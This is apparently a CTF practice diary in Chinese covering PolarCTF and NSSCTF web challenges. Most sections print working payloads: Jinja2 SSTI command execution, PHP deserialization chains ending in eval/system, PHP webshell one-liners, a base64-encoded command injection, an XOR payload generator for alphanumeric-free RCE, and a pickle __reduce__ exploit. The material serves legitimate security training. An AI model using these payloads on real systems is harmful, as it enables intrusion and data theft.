【1.22--1.28刷题日记】

polctf靶场

前言最近看到这个polctf的靶场的题目比较不错,最近的刷题就像先刷完这个靶场的题目,因为数量也还不是很多。

SSTI(模板注入的基本方法+tplmap工具的使用)

在这里插入图片描述打开界面
在这里插入图片描述get传参name,随便传入点什么
在这里插入图片描述
根据回显,挺明显的ssti模板的
在这里插入图片描述那就根据上面的图一个一个来尝试一下,看到底是个ssti

在这里插入图片描述参考文章:
https://blog.csdn.net/huangyongkang666/article/details/123628875
https://blog.csdn.net/qq_74020399/article/details/130261306

若回显49则表示是Twig模块

回显7777777即7个7则是Jinja2模块

在这里插入图片描述
这里不知道为什么,用hackbar不行,传入单引号的时候,使用bp才可以,上面的结果已经很明显了,就是jinja2模块

exp

获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

python2和python3的都尝试一下,发现是python3的模块,使用payload

{}.class.bases[0]
在这里插入图片描述可以执行,尝试一下命令执行
{% for c in [].class.base.subclasses() %}{% if c.name==‘catch_warnings’ %}{{ c.init.globals[‘builtins’].eval(“import(‘os’).popen(‘id’).read()”) }}{% endif %}{% endfor %}

注意要url编码一下,否则用get传参不了
在这里插入图片描述查看根目录
在这里插入图片描述得到flag
在这里插入图片描述
方法二:

因为知道存在ssti注入,tplmap工具也有这样的功能,我们可以直接使用工具一把梭
很像sqlmap,有点类似,但是tplmap是专门针对ssti注入的工具,这个不是kali自带了,要自己下载
下载地址:https://github.com/epinna/tplmap

使用方法也比较简单
在这里插入图片描述因为这里后端没有过滤什么,所以可以直接拿shell
可以看到爆出了存在漏洞的参数和后端使用的模板引擎,接下来直接—os-shell一把梭就好了,其他参数自行测试。
在这里插入图片描述不知道为什么这里安装的过程中一直报错。后面复现的时候一直复现不出来,上面的图是之前的,不知道是不是我的环境有问题。

反序列化

在这里插入图片描述
打开容器
在这里插入图片描述
这样子看起来不舒服,查看源代码
在这里插入图片描述

/*

PolarD&N CTF

*/
class example
    {
        public $handle;
        function  __destruct(){
            $this->funnnn();
        }
        function funnnn(){
            $this->handle->close();
        }
    }
    class process{
        public $pid;
        function close(){
            eval($this->pid); //链子的出口、利用点
        }
    }
    if(isset($_GET['data'])){
        $user_data=unserialize($_GET['data']);
    }


exp

<?php
class example
{
    public $handle;
    function  __destruct(){
        $this->funnnn();
    }
    function funnnn(){
        $this->handle->close();
    }
}
class process{
    public $pid='system("ls");';
    function close(){
        eval($this->pid); //链子的出口、利用点
    }
}

$a=new example();
$b=new process();
$a->handle=$b;
echo serialize($a);

本地成功执行
在这里插入图片描述
执行payload
在这里插入图片描述
得到flag

找找shell(网站混淆加密解密的利用)

在这里插入图片描述
打开界面
在这里插入图片描述报403,先试一下目录扫描
在这里插入图片描述

在等待扫描结果的时候,然后在尝试绕过一下,在后面添加特殊符号 * @ #等
在这里插入图片描述

查看附件有什么
在这里插入图片描述base64 解码后面的结果
在这里插入图片描述观察好像和上面的也一样,感觉像是加密了,可是我又不知道是什么加密,感觉有点想混淆加密

丢给在线网站解密一下,看有没有结果

在线网站:http://www.zhaoyuanma.com/phpjm.html

惊喜,成功解密在这里插入图片描述
结合上面的扫描结果,访问后门直接执行命令就可以了
在这里插入图片描述得到flag
在这里插入图片描述

upload tutu(md5校验两张图片+工具的利用)

在这里插入图片描述
打开容器
在这里插入图片描述文件上传题目
当然先尝试上传php文件了,虽然99%都是不可能给直接上传的
给出的回显
在这里插入图片描述setu是什么东东?
百度一下在这里插入图片描述好像没什么作用,查出来的结果

setu,结合两个上传的接口
不会是second 图吧
那就先两个接口都上传一下,看回显的结果会不会不一样
上传php文件都会这样,那尝试一下上传两张图片呢?

上传图片,两张,回显结果不一样了
在这里插入图片描述那这样的话,题目应该要我们上传两张一样的图片,也会提示不一样,那它后端怎么验证的呢?猜测是md5
校验

使用fastcoll可以构造两张相同图片
工具下载地址:https://www.win.tue.nl/hashclash/
在这里插入图片描述
建立一个相同的md5文档
在这里插入图片描述把内容复制进来
在这里插入图片描述
使用命令
fastcoll_v1.0.0.5.exe -p md.txt -o 1.png 2.png

在这里插入图片描述在当下目录成功生成两张图片,这两张图片的md5值相同
在这里插入图片描述尝试上传一下
在这里插入图片描述成功执行
在这里插入图片描述

 <?php

if (isset($_POST["submit"])) {
    $type1 = $_FILES["file1"]["type"];
    $type2 = $_FILES["file2"]["type"];
    $size1 = $_FILES["file1"]["size"];
    $size2 = $_FILES["file2"]["size"];
    $SIZE_LIMIT = 18 * 1024;

    if (($size1 < $SIZE_LIMIT) && ($size2 < $SIZE_LIMIT)) {
       if ((($type1 == "image/png") && ($type2 == "image/png"))||(($type1 == "image/jpeg") && ($type2 == "image/jpeg"))) {
            $contents1 = file_get_contents($_FILES["file1"]["tmp_name"]);
            $contents2 = file_get_contents($_FILES["file2"]["tmp_name"]);

            if ($contents1 != $contents2) {
                if (md5_file($_FILES["file1"]["tmp_name"]) == md5_file($_FILES["file2"]["tmp_name"])) {
                    highlight_file("index.php");
                    die();
                } else {
                    echo "MD5 hashes do not match!";
                    die();
                }
            } else {
                echo "Files are not different!";
                die();
            }
        } else {
            echo "Not a setu!";
            die();
        }
    } else {
        echo "File too large!";
        die();
    }
}
//flag{88f32ae7fc7ed4fcffc2af58d7b98a9d}


?>
<!DOCTYPE html>
<html lang="en">

<head>
    <title>PolarD&amp;N CTF</title>



</head>

<body>

    <div class="container">
        <div class="header">
            <h3 class="text-muted">Give me two setu.</h3>
        </div>
        <div class="jumbotron">
            <p class="lead"></p>
            <div class="row">
                <div class="col-xs-12 col-sm-12 col-md-12">
                    <h3>!</h3>
                </div>
            </div>
            <br/>
            <div class="upload-form">
                <form role="form" action="/index.php" method="post" enctype="multipart/form-data">
                <div class="row">
                    <div class="form-group">
                        <input type="file" name="file1" id="file1" class="form-control input-lg">
                        <input type="file" name="file2" id="file2" class="form-control input-lg">
                    </div>
                </div>
                <div class="row">
                    <div class="col-xs-12 col-sm-12 col-md-12">
                        <input type="submit" class="btn btn-lg btn-success btn-block" name="submit" value="Upload">
                    </div>
                </div>
                </form>
            </div>
        </div>
    </div>
    <footer class="footer">
        <p>&copy; PolarD&amp;N CTF</p>
    </footer>

</div>

<script>
$(document).ready(function(){
    $(".close").click(function(){
        $("myAlert").alert("close");
    });
});
</script>
</body>

</html> 

得到源码和flag,可以看到上面的源代码中是有验证md5的,所以猜想是正确的

再来ping一波啊(linux的base64命令执行)

在这里插入图片描述
打开界面
在这里插入图片描述
查看了源代码
在这里插入图片描述观察url
在这里插入图片描述
尝试一下命令拼接
在这里插入图片描述删掉后面的语句,发现过滤的是ls,没有过滤分号
在这里插入图片描述pwd可行,存在回显

手动fuzz的时候,发现过滤了好多东西啊
在这里插入图片描述但是突然把这个tac====》ta’‘c可以绕过的思路扩展一下,就变成了ls===>l’'s
就可以有结果了

在这里插入图片描述这里好像限制了,根目录,感觉怎么绕过都绕不过去啊

那如果直接绕过,像这样这种只有关键字的,就只有通过编码进行绕过。
这里可以使用base64进行绕过,我感觉有点像是通杀

在这里插入图片描述
参考文章:
https://blog.csdn.net/qq_42383069/article/details/130221725
https://blog.csdn.net/l2872253606/article/details/123029976

GET /?ip=;echo$IFS$9dGFjIGluZGV4LnBocA==|base64$IFS$9-d|sh

在这里插入图片描述这个几乎,只要把中间的一换就可以达到想要执行的命令
这里找flag了也找了挺久的,因为一直以为它在根目录,结果每个地方都看了都没有,然后就猜测它就在index.php的源代码中。
本来还有一种思路就是写入php后门在一个文件中,但是好像写不进去不知道为什么,也算是一种思路吧,说不定下次一种题目就可以写了,哈哈

php very nice(简单php反序列化)

在这里插入图片描述
打开界面
在这里插入图片描述

 <?php
 highlight_file(__FILE__);
 class Example
 {
     public $sys='Can you find the leak?';
     function __destruct(){
         eval($this->sys);
     }
 }
 unserialize($_GET['a']);
 ?> 

这个很经典的、简单的反序列化问题

exp

<?php
highlight_file(__FILE__);
class Example
{
    public $sys='Can you find the leak?';
    function __destruct(){
        eval($this->sys);
    }
}

$a=new Example();
$a->sys='eval($_POST[1]);phpinfo();';
//sys的值,这里要注意传参时要多加一个eval,就是套了一层函数
//phpinfo是一个函数,在最外层的eval函数下,解析为php代码
//eval也是函数,在最外层的解析解析为php代码,可是我们还想我们post传入的也能是以php代码执行,就得在用一个eval函数
echo serialize($a);

查看根目录
在这里插入图片描述
当前目录有个flag.php
在这里插入图片描述
得到flag
在这里插入图片描述

自由的文件上传系统(文件上传+文件包含)

在这里插入图片描述
打开界面
在这里插入图片描述

先尝试上传php文件
在这里插入图片描述
可以直接上传不过应该是有对内容进行检查过滤的,如果没有对后缀名进行限制的话。

访问我们上传的php文件
在这里插入图片描述
根据文件原来内容
在这里插入图片描述
对比后,发现把?给干掉了
如果仅仅是这样的话,现在就要思考如何绕过这个问号了
尝试用js一句话的话好像没有?,看下能不能解析成功

<script language="php">eval($_POST['shell']);</script>

在这里插入图片描述
在这里插入图片描述

好像执行不了

服务器是apache,可是直接上传.htaccess也不解析
在这里插入图片描述
应该是有什么安全配置

在回到页面发现有个重要的点漏掉了,这个小屋子原来是可以点的
在这里插入图片描述
然后看到了一个类似文件包含的参数,include.php也大概可以知道。

这里还不知道,这个过滤是不是针对整个文件内容的,本来想尝试上传一个图片,然后在图片中插入php代码,可是上传不了图片,那就只能是php、txt文件

那现在的思路就是结合这个文件包含点+js一句话解析试一下行不行

用这个好点,有phpinfo();作为锚点

<script language="php">eval($_POST[1]);phpinfo();</script>

在这里插入图片描述

成功上传。
现在就是去包含这个文件,既然绝对路径已经给出来了,那就直接包含绝对路径吧

成功包含
在这里插入图片描述

在这里插入图片描述
得到flag
在这里插入图片描述

不知道为什么js一句话在本地也不可以执行,不知道是不是要开启什么

在这里插入图片描述
经过很久的测试,发现是php版本的问题,之前的是7.x,改为5.x的就可以成功执行了

在这里插入图片描述

参考文章:
https://blog.csdn.net/Cypher_X/article/details/114625578
https://blog.csdn.net/qq_74240553/article/details/135647295

wu(无参rce异或绕过)

在这里插入图片描述
打开题目
在这里插入图片描述

 <?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(preg_match("/[A-Za-z0-9]+/",$a)){
    die("no!");
}
@eval($a);
?> 

很明显这里是无字母数字rce
绕过这种方法有
1、异或绕过
2、取反绕过
3、自增绕过

这里先尝试一下异或绕过的方法

php生成字符

<?php

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {
if($i<16){
    $hex_i='0'.dechex($i);
}
else{
    $hex_i=dechex($i);
}
if($j<16){
    $hex_j='0'.dechex($j);
}
else{
    $hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i';    // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
    echo "";
}
else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }
}
}
fwrite($myfile,$contents);
fclose($myfile);

首先运行以上 PHP 脚本后,会生成一个 txt 文档 xor_rce.txt,里面包含所有可见字符的异或构造结果。

接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:

# -*- coding: utf-8 -*-

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("xor_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                #print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
        output="(\""+s1+"\"^\""+s2+"\")"

    return(output)

while True:
    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
    print(param)

运行结果
在这里插入图片描述
执行payload
在这里插入图片描述
成功回显,根目录下没有flag
查看一下当前目录
在这里插入图片描述
看到了flag文件
cat一下
在这里插入图片描述

提交flag

代码审计1(php内置类+php伪协议)

在这里插入图片描述
打开界面
在这里插入图片描述

 <?php

highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
           die("flag is no here!");
} else {
    $xsx = $_GET['xsx'];
    echo new $sys($xsx);
} 

看到这个想起了php的内置类
参考文章:
https://blog.csdn.net/qq_61839115/article/details/130976241

使用DirectaryIterator、Filesystemlterator、Globlterator内置类读目录,因为echo会触发里面的方法,从而输出我们想要的结果,详细请自己看文章

先试一下
Directorylterator
在这里插入图片描述
在这里插入图片描述
根据上面的操作方法,一步一步来
在这里插入图片描述
可是只回显一个,查看源代码也没有,不知道为什么
哦,我知道了,这里没有用foreach循环,所以只输出一个
那就是试一下找一下flag常在的位置,/var/www/html
在这里插入图片描述

什么都没有
上一级呢?
在这里插入图片描述

看到了flag.php
exp

http://794372a0-68ea-4793-af14-b269c0d728f9.www.polarctf.com:8090/?sys=DirectoryIterator&xsx=glob:///var/www/*

当然其他两个类也可以读,可以自己多尝试一下

既然已经知道flag文件的位置,接下来当然就是读取flag了呀

SplFileObject 读取文件内容,但是只读一行
参考文章:
https://blog.csdn.net/qq_63701832/article/details/131166789

在这里插入图片描述

尝试一下
在这里插入图片描述
读得不全啊,这里有换行
在这里插入图片描述

我们可不可以就把php文件内的内容就变为一串字符串呢,不然它转行,读取文件的话,还可以想到的就是php伪协议,试一下常用的base64编码,就可以编码字符串

在这里插入图片描述
成功读取出来

解码即可得到flag
在这里插入图片描述

ezupload(gif头部验证)

在这里插入图片描述

打开界面
在这里插入图片描述
确实看起来就很简单,100分的题目

直接上传php文件
在这里插入图片描述

回显说,只能上传gif图像文件

那就先上传一个gif文件,试一下,使用bp抓包

先改后缀,看能不能上传
在这里插入图片描述
可以,那就只是前端验证后缀名

插入了php一句话木马
在这里插入图片描述
然后去访问这个文件
在这里插入图片描述

在这里插入图片描述
成功执行
其实只在最前面添加gif89a就可以
在这里插入图片描述
找到flag文件
在这里插入图片描述
在这里插入图片描述
提交。

Unserialize_Escape

在这里插入图片描述

打开界面
在这里插入图片描述

 <?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function filter($string){
    return preg_replace('/x/', 'yy', $string);
}

$username = $_POST['username'];

$password = "aaaaa";
$user = array($username, $password);

$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
    echo file_get_contents('flag.php');
} 

这段 PHP 代码涉及序列化和反序列化,并包含一个名为 filter 的函数。该函数通过正则表达式将字符串中的 ‘x’ 替换为 ‘yy’。然后,用户输入的用户名经过序列化和过滤,得到结果 $r。最后,对反序列化结果的第二个元素进行检查,如果等于 “123456”,则输出 flag.php 文件的内容,这里的第二个元素是指$password

根据上面的分析,接下来要做的就是怎么样实现字符串逃逸,这里是字符增多逃逸

exp

<?php
function filter($string){
    return preg_replace('/x/', 'yy', $string);
}

$username ='xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}' ;

$password = "123456";
$user = array($username, $password);

$r=serialize($user);
$r2 = filter(serialize($user));
echo $r;
echo "\n";
echo $r2;

//  ";i:1;s:6:"123456";}

这样子是可以的
在这里插入图片描述
刚好可以截断后面的这个
在这里插入图片描述
因为在php序列化中遇到了 ;} 就会自动停止序列化

所以post传参username
username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:“123456”;}

在这里插入图片描述

查看源代码即可得到flag
在这里插入图片描述

flask_pin(非预期做法,可是不成功)

在这里插入图片描述
打开界面
在这里插入图片描述
这是一个flask框架
flask是用python编写的一个轻量web开发框架

翻看python的flsak debug环境界面,可以发现/file这个路由
在这里插入图片描述
访问一下,看有没有什么提示的
在这里插入图片描述

可是传不进去GET和POST都试过了
在这里插入图片描述
难道这里不是模板注入点??
看这个参数filename还可能是文件包含,试一下
还真是,存在任意文件读取漏洞
在这里插入图片描述
尝试了一下根目录下的flag,/var/www/html/flag.php都没有,这该怎么做下去了

搜了一下flask_pin
在这里插入图片描述
原来flask是真的有这个东西的啊,我不知道啊
看来是自己的盲区了,不知道啊,可能做不了

像这种题目,在放弃之前,知道了有任意文件读取漏洞,还可以尝试找找flag的位置,不过这种并非是题目的考点所在,也就是常说的的非预期

一般根目录、当前目录我们都找过,还有环境变量,这里也是可能的
在这里插入图片描述
访问
在这里插入图片描述
没有,不知道为什么

参考文章:https://blog.csdn.net/DARKNOTES/article/details/119256775
在这里插入图片描述

尝试一下pid为1的一般为root权限
/proc/1/environ
得到flag
在这里插入图片描述

本地复现也可以
在这里插入图片描述

但是是假的flag,提交不正确。。

那么真正的理想的做法是怎样的?我也不会,哈哈

我摊牌了,开摆,看wp哈哈

flag在这,确实不一样
在这里插入图片描述
太复杂,看完wp,我跟着都不会做感觉。。

unpickle(python中的反序列化)

在这里插入图片描述

打开容器
在这里插入图片描述

打开附件看
在这里插入图片描述

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        return user
    except:
        username = "Guest"

    return "Hello %s" % username

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080)

又是一个flask框架

根据源码分析有个user的值是靠cookie字段传的在这里插入图片描述
直接传是没什么作用的,得要指定参数

在这里插入图片描述
不过好像也没什么作用,那是为什么呢?不会做了

看wp参考:

需要通过Cookie的user值进行接收传递并进行反序列化。

存在python的反序列化函数,可以用到__reduce__这个魔法方法(注意__reduce__方法是新式类(内置类)特有的)这一点和PHP中的__wakeup() 魔术方法类似,都是每当反序列化过程开始或者结束时 , 都会自动调用这个魔术方法,因此利用这个魔术方法执行任意命令获取flag。

编写python脚本

import requests

import pickle

import os

import base64


class exp(object):

    def __reduce__(self):

        return (eval, ("open('/flag','r').read()",))


e = exp()

s = pickle.dumps(e)

user = base64.b64encode(s).decode()

print(user)

得到
在这里插入图片描述

然后用bp传入cookie字段中user的值

得到flag
在这里插入图片描述

苦海(反序列化题目)

在这里插入图片描述

打开界面

在这里插入图片描述

好家伙,这道题当时比赛的时候就没有做出来,看了好久,连赛题的入口都有感觉好难找得到,现在看也还是这种感觉。

删库跑路,蹲监狱~ <?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name; //这里可以触发__toString方法
        return 'ok';
    }

    public function __wakeup()  //反序列化的时候会自动触发
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString() //把类当作字符串输出的时候会自动触发
    {
        return $this->file['filename']->content['title']; //这里可以调用下面的_get方法,只要后面的content是不存在的
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)  //调用不存在的变量时触发
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file)); //可利用点
        echo $hint;
    }

    public function __invoke()   //把类当作函数时触发
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

if (isset($_GET['user'])) {
    unserialize($_GET['user']);
} else {
    $hi = new  User();
    highlight_file(__FILE__);
} 

做反序列化题目的时候呢,就得要先找到我们想要利用的地方

这里很明显就是有个利用点是任意文件读取漏洞在FileRobot中的Get_file方法中
那接下来就是要构造pop链子了

具体分析看上面的注释

exp

<?php



class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

$a=new User();
$b=new Surrender();
$c=new FileRobot();
$d=new FileRobot();

$a->name=$b;
$c->path=$d;
$d->filename='../flag.php';
$b->file['filename']=$c;


echo urlencode(serialize($a));//因为有私有变量,所以有url编码一下


在这里插入图片描述
然后base64解码一下就可以得到flag

在这里插入图片描述
提交;

像这种反序列化题目啊,又长又臭的,一般都是冷静下来分析,有时候可能每个魔术方法都去看一下,在自己的心中有个印象了就可以,潜意识就可以连接起来一个pop链子,你看像这一道题目,最后的利用点就不是很多,但是难在过程的构造和php的代码量。

NSSCTF靶场

[NSSRound#7 Team]ec_RCE(linux多条命令执行)

打开界面
在这里插入图片描述

<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHP
    
    if(!isset($_POST["action"]) && !isset($_POST["data"]))
        show_source(__FILE__);

    putenv('LANG=zh_TW.utf8'); 

    $action = $_POST["action"];
    $data = "'".$_POST["data"]."'";

    $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
    echo $output;    
?>

代码审计一下

putenv函数
在这里插入图片描述
存在一个命令执行函数
shell_exec

但是前面有挺多其他的东西干扰的,能不能闭合或者绕过呢,从而达到想执行的命令。
可以看到这个shell_exec中$action和$data中有个空格也就是说我们可以用linux的多条命令执行,闭合前面的和后面不就是达到命令执行的效果了嘛,用分号闭合来闭合前后

使用post传参
action=;ls /;

在这里插入图片描述
得到flag
在这里插入图片描述

[HNCTF 2022 WEEK2]Canyource(无参函数读取flag)

打开界面
在这里插入图片描述

 <?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}
else
    die('nonono');}
else
    echo('please input code');
?>  please input code 

简单的代码审计一下就是

这段 PHP 代码是一个简单的 PHP 代码执行器。它接收一个名为 code 的 GET 参数,并尝试执行其中包含的 PHP 代码。在执行之前,它通过正则表达式检查 code 参数,确保其中没有包含一些可能危险的关键词或协议。

具体来说,它使用 preg_match 函数检查 code 参数是否包含以下关键词或协议:

url
show
high
na
info
dec
oct
pi
log
data://
filter://
php://
phar://
如果 code 参数中包含上述关键词或协议,将拒绝执行代码并输出提示信息。否则,它使用 eval 函数执行 code 参数中的 PHP 代码。

正则表达式 preg_replace(‘/[^\W]+((?R)?)/’, ‘’, $_GET[‘code’]) 的作用是从输入的 PHP 代码中移除所有函数调用及其参数。
/[^\W]+(: 这部分匹配一个或多个非单词字符(\W 是非单词字符的缩写),紧接着一个左括号 (。这部分的目的是匹配函数名。

(?R)?: 这是一个递归子模式,它允许匹配整个正则表达式的结构。在这里,它表示匹配函数调用时可能包含其他函数调用。这使得正则表达式能够处理嵌套的函数调用。

):这部分匹配右括号 ),表示函数调用的结束。

因为把非单词字符的都过滤掉了,剩下的就是单词字符了,只能匹配嵌套函数后剩下的结果就是分号了

那么接下来要做的就是如何通过多个嵌套函数来找到flag
我记得ctfshow的命令执行那个模块里面有几道题目就是这样子的

1. localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
2. pos():返回数组中当前元素的值
3. scandir():获取目录下的文件
4. array_reverse():将数组逆序排列
5. next():函数将内部指针指向下一元素,并输出
6. show_source()函数对文件进行语法高亮显示,是highlight_file()别名。
7. print_r(scandir(‘.’)); 查看当前目录下的所有文件名
8. current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名


9. print_r() 函数用于打印变量,以更容易理解的形式展示
10. get_defined_vars() 函数返回由所有已定义变量所组成的数组。
11.


array_reverse() 函数以相反的元素顺序返回数组
 
next() 函数将内部指针指向数组中的下一个元素,并输出。
 
highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。同时整个文件也会显示出来
 
//构造如下payload:
highlight_file(next(array_reverse((scandir(pos(localeconv()))))));
//上述先用第一个函数将数组元素顺序颠倒,随后用next函数,将指针指向flag的位置,最终用高亮显示,将了flag文件回显
 
或者
#pos()与current()作用相同 readfile()与作用相同highlight_file()
?c=readfile(next(array_reverse(scandir(current(localeconv())))));
 
#show_source()与作用相同highlight_file()
    ?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 

根据上面的提示,可以写出一些payload

?code=print_r(scandir(pos(localeconv()))); 
//打印返回当前包含本地目录信息的数组

在这里插入图片描述
然后把顺序翻转一下,方便读第二个元素,利用next函数

?code=print_r(array_reverse(scandir(pos(localeconv())))); 

在这里插入图片描述
用next函数

?code=print_r(next(array_reverse(scandir(pos(localeconv()))))); 

在这里插入图片描述

然后读取flag

这里过滤了highlight_file和show_source,用不了,readfile可以

在这里插入图片描述
没有flag
那就看一下index.php的源码里有没有,有时候就是可能存在源码里面的

怎么看呢?
把next和array_reverse删掉,换为end函数

?code=print_r(end(scandir(pos(localeconv())))); 

在这里插入图片描述

然后就是读取

/?code=readfile(end(scandir(pos(localeconv())))); 

查看源代码
在这里插入图片描述
啊,也没有,不知道为什么
突然想到刚才没有查看源代码,回去查看一下源代码

在这里插入图片描述
得到flag

[SWPUCTF 2023 秋季新生赛]RCE-PLUS(无回显绕过)

在这里插入图片描述

 <?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("i hate this");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

为什么这里输入ls没有回显呢?

在这里插入图片描述
也没有被过滤啊

哦哦,我知道了,这个函数只是执行了这条命令可是本身这个函数是不把执行的结果给回显回来的

既然这样的话,一般遇到这种情况,可以反弹shell、dnslog、把执行的结果写到一个文件里面去,或者直接写shell

因为这里过滤了$就好写shell了,直接把执行的结果写入一个文件试一下
在这里插入图片描述
然后访问1
在这里插入图片描述

然后用通配符进行绕过,写入文件2
在这里插入图片描述
访问2
在这里插入图片描述

得到flag

[HNCTF 2022 Week1]Challenge__rce(无参rce自增绕过)

打开界面
在这里插入图片描述

我以为是我卡了,多刷新了几遍

确定后,查看一下源代码
在这里插入图片描述

那就拼接?hint进行访问
在这里插入图片描述

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
} 

简单审计一下:
如果存在 POST 参数 rce,则执行以下步骤:

检查 rce 的长度是否不超过120个字符。

检查 rce 是否是字符串。

使用正则表达式检查 rce 是否包含特定的字符,如果不包含,则通过 eval($rce); 执行其中的 PHP 代码。这个正则匹配,这个正则表达式的目的是查找 $rce 中是否包含除了字母 a-zA-Z 以外的特殊字符和反斜杠。如果 $rce 中包含这些字符,那么 preg_match 函数返回 true,表示匹配成功,代码会输出 “Are you hack me?”。
如果包含特定字符,输出 “Are you hack me?”。

如果 rce 的长度超过120个字符,输出 “too long!”。

不能函数字母和一些特殊的符号,常用的无参rce方法有:

1、异或绕过
2、取反绕过
3、自增绕过

因为过滤尖括号^ 所以不能用异或绕过了,也过滤了% 所以用不了取反绕过,那么就只有自增绕过方法了

参考文章:
